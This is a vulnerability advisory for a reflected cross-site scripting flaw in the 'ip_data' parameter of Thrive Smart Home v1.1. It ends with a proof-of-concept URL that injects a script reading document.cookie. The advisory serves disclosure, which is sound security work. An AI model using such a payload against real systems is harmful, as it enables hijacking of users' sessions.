Thrive Smart Home 1.1 Cross Site Scripting

`  
Thrive Smart Home v1.1 Reflected Cross-Site Scripting  
  
  
Vendor: Thrive  
Product web page: http://www.thrivesmarthomes.com  
Affected version: 1.1  
  
Summary: As smart home technology becomes more affordable and easy to  
install with services offered by Thrive Smart Homes, there are some  
great options available to give your home a high-tech makeover. If the  
convenience of feeding your cat or turning on your air conditioning with  
a tap on your smartphone isn't enough of a reason to make the investment,  
consider how conveniently you can protect your home and belongings. From  
Wi-Fi-equipped smoke detectors to plugs with auto turn-offs, smart homes  
with their always-on connectivity and notifications systems allow consumers  
to quickly respond to the unexpected. For instance, if you install a smart  
water leak and moisture monitoring device, you can set up alerts on your  
phone for unusual changes in moisture and stop leaks before they cause major  
flooding or mold. It's a convenient way to proactively protect your home  
from costly damage, whether it's an overflowing laundry tub, a cracked  
washer hose, or a leaky water heater.  
  
Desc: Input passed to the GET parameter 'ip_data' is not properly sanitised  
before being returned to the user. This can be exploited to execute arbitrary  
HTML code in a user's browser session in context of an affected site.  
  
Tested on: Apache httpd 2.4.25 (Raspbian)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5553  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5553.php  
  
  
21.10.2019  
  
--  
  
  
http://192.168.1.1:8080/raspberry/config.php?ip_data=%22%3E%3Cscript%3Econfirm(document.cookie)%3C/script%3E  
`